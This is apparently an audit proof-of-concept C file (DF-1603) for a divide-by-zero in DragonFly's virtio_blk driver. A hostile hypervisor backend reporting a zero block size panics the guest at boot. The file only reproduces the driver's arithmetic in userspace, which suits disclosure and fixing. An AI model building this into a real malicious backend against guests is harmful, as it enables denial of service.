DF-1603 / df1603_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-1603 - virtio_blk divide-by-zero PoC (userspace harness). * * Bug: sys/dev/virtual/virtio/block/virtio_blk.c:702-709 * * 702: if (virtio_with_feature(sc->vtblk_dev, VIRTIO_BLK_F_BLK_SIZE)) * 703: sc->vtblk_sector_size = blkcfg->blk_size; // NO validation * 704: else * 705: sc->vtblk_sector_size = 512; * ... * 708: info.d_media_blksize = sc->vtblk_sector_size; * 709: info.d_media_blocks = blkcfg->capacity * 512 / info.d_media_blksize; * // DIV#0 * * blkcfg->blk_size is a u32 read verbatim from the virtio PCI config space * (host/hypervisor-controlled). The virtio-blk spec allows VIRTIO_BLK_F_BLK_SIZE * to be negotiated without constraining the value, so a malicious backend * (compromised hypervisor, malicious vhost-user backend, hostile VFIO device) * can advertise the feature AND report blk_size = 0. vtblk_attach() -> * vtblk_alloc_disk() executes unconditionally at first boot and divides by * info.d_media_blksize on line 709, taking a #DE (divide error) trap that * the kernel converts to a panic. Result: guest is dead on first attach; * unprivileged in-guest action is irrelevant - the bug fires from the host * side before userspace exists. * * Threat model: this is a host-side DoS of a guest by a malicious backend. * On this DragonFly audit guest the virtio-blk device is provided by KVM * with a sane 512-byte sector size and the guest has no syscall surface to * rewrite PCI config space, so the live kernel path cannot be exercised * from inside the guest. This harness reproduces the EXACT arithmetic of * vtblk_alloc_disk() lines 702-709 to confirm the primitive: blkcfg.blk_size * = 0 produces an integer divide-by-zero (#DE / SIGFPE) where the kernel * code does the same division at attach time. * * Build: cc -O2 -o df1603_poc df1603_poc.c * Run: ./df1603_poc ; exits 0 if SIGFPE observed on blk_size=0 */ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <setjmp.h> #include <stdint.h> #include <string.h> #include <sys/types.h> static sigjmp_buf jb; static volatile sig_atomic_t got_fpe = 0; static void fpe_hdl(int sig) { (void)sig; got_fpe = 1; siglongjmp(jb, 1); } /* * Mirror virtio_blk.c:702-709 with bit-exact arithmetic. * VIRTIO_BLK_F_BLK_SIZE negotiated -> sector_size = blkcfg.blk_size * blkcfg.capacity is in 512-byte sectors; the line 709 division is the sink. * feature_negotiated is independent of blk_size's value - a malicious * backend can advertise the feature AND report blk_size = 0. */ static int vtblk_alloc_disk_arith(int feature_negotiated, uint64_t capacity, uint32_t blk_size, uint64_t *out_blocks, uint32_t *out_bs) { uint32_t sector_size; if (feature_negotiated) /* virtio_blk.c:702 */ sector_size = blk_size; /* virtio_blk.c:703 - NO validation */ else sector_size = 512; /* virtio_blk.c:705 */ *out_bs = sector_size; /* virtio_blk.c:708-709 - division by sector_size */ *out_blocks = capacity * 512 / sector_size; return 0; } int main(void) { struct sigaction sa; uint64_t blocks; uint32_t bs; memset(&sa, 0, sizeof(sa)); sa.sa_handler = fpe_hdl; sigemptyset(&sa.sa_mask); sigaction(SIGFPE, &sa, NULL); /* Sanity case: well-formed backend reports blk_size = 512. */ vtblk_alloc_disk_arith(1, 0x100000ULL, 512, &blocks, &bs); printf("[control] capacity=0x%llx blk_size=512 -> %llu blocks x %u bytes\n", (unsigned long long)0x100000ULL, (unsigned long long)blocks, bs); /* * Malicious backend: VIRTIO_BLK_F_BLK_SIZE negotiated + blk_size = 0. * SIGFPE here is the userland analogue of the kernel's #DE trap; the * kernel has no SIGFPE handler and converts #DE to a panic at * vtblk_attach -> vtblk_alloc_disk line 709. */ if (sigsetjmp(jb, 1) == 0) { vtblk_alloc_disk_arith(1, 0x100000ULL, 0, &blocks, &bs); printf("[FAIL] expected div-by-zero but got blocks=%llu bs=%u\n", (unsigned long long)blocks, bs); return 1; } printf("[OK] blk_size=0 raised SIGFPE (analogue of #DE trap);\n"); printf(" kernel path: vtblk_attach -> vtblk_alloc_disk line 709\n"); printf(" result on guest: kernel panic at attach time (boot DoS).\n"); return 0; } |